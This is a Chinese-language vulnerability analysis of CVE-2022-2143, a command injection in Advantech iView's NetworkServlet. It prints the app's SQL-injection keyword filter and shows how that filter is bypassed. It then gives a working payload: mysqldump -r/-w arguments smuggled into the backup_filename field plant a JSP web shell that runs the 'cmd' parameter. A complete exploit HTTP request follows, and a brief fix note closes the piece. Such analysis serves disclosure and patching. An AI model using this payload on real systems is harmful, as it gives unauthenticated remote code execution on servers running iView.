CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE

• 調用關系查詢

MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)-[:HAS]->(m:Method)-[:CALL*2]-(m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return *

分析com.imc.iview.network.NetworkServlet#doPost

兩次校驗

com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String)

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檢驗\webapps\防止寫shell

com.imc.iview.utils.CUtils#checkSQLInjection檢測了一些關鍵字。

public boolean checkSQLInjection(String model0) {    boolean result = false;    String model = model0.toLowerCase();    if (!model.contains(" or ") && !model.contains("'or ") && !model.contains("||") && !model.contains("==") && !model.contains("--")) {        if (model.contains("union") && model.contains("select")) {            if (this.checkCommentStr(model, "union", "select")) {                result = true;            }        } else if (model.contains("case") && model.contains("when")) {            if (this.checkCommentStr(model, "case", "when")) {                result = true;            }        } else if (model.contains("into") && model.contains("dumpfile")) {            if (this.checkCommentStr(model, "into", "dumpfile")) {                result = true;            }        } else if (model.contains("into") && model.contains("outfile")) {            if (this.checkCommentStr(model, "into", "outfile")) {                result = true;            }        } else if (model.contains(" where ") && model.contains("select ")) {            result = true;        } else if (model.contains("benchmark")) {            result = true;        } else if (model.contains("select") && model.contains("from")) {            if (this.checkCommentStr(model, "select", "from")) {                result = true;            }        } else if (model.contains("select/*")) {            result = true;        } else if (model.contains("delete") && model.contains("from")) {            if (this.checkCommentStr(model, "delete", "from")) {                result = true;            }        } else if (model.contains("drop") && model.contains("table") || model.contains("drop") && model.contains("database")) {            if (this.checkCommentStr(model, "drop", "table")) {                result = true;            }            if (this.checkCommentStr(model, "drop", "database")) {                result = true;            }        } else if (!model.contains("sleep(") && !model.contains(" rlike ") && !model.contains("rlike(") && !model.contains(" like ")) {            if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {                result = true;            } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {                result = true;            } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {                result = true;            }        } else {            result = true;        }    } else {        result = true;    }    if (result) {        System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]");    }    return result;}

那么mysqldump可以拼接-w參數將內容寫入文件，然后可以多次傳遞-r參數覆蓋原有的-r文件路徑值

正常的命令為

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\aa"

命令注入構造payload

2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"
POST /iView3/NetworkServlet HTTP/1.1Host: 172.16.16.132:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 79
page_action_type=backupDatabase&backup_filename=2.sql"+-r+"./webapps/iView3/test.jsp"+-w+"<%25%3dnew+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new+ProcessBuilder(request.getParameter(new+java.lang.String(new+byte[]{99,109,100}))).start()).getInputStream()))%25>"

拼接之后為

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"

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有php日志getshell的那味了。

修復

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判斷session登錄狀態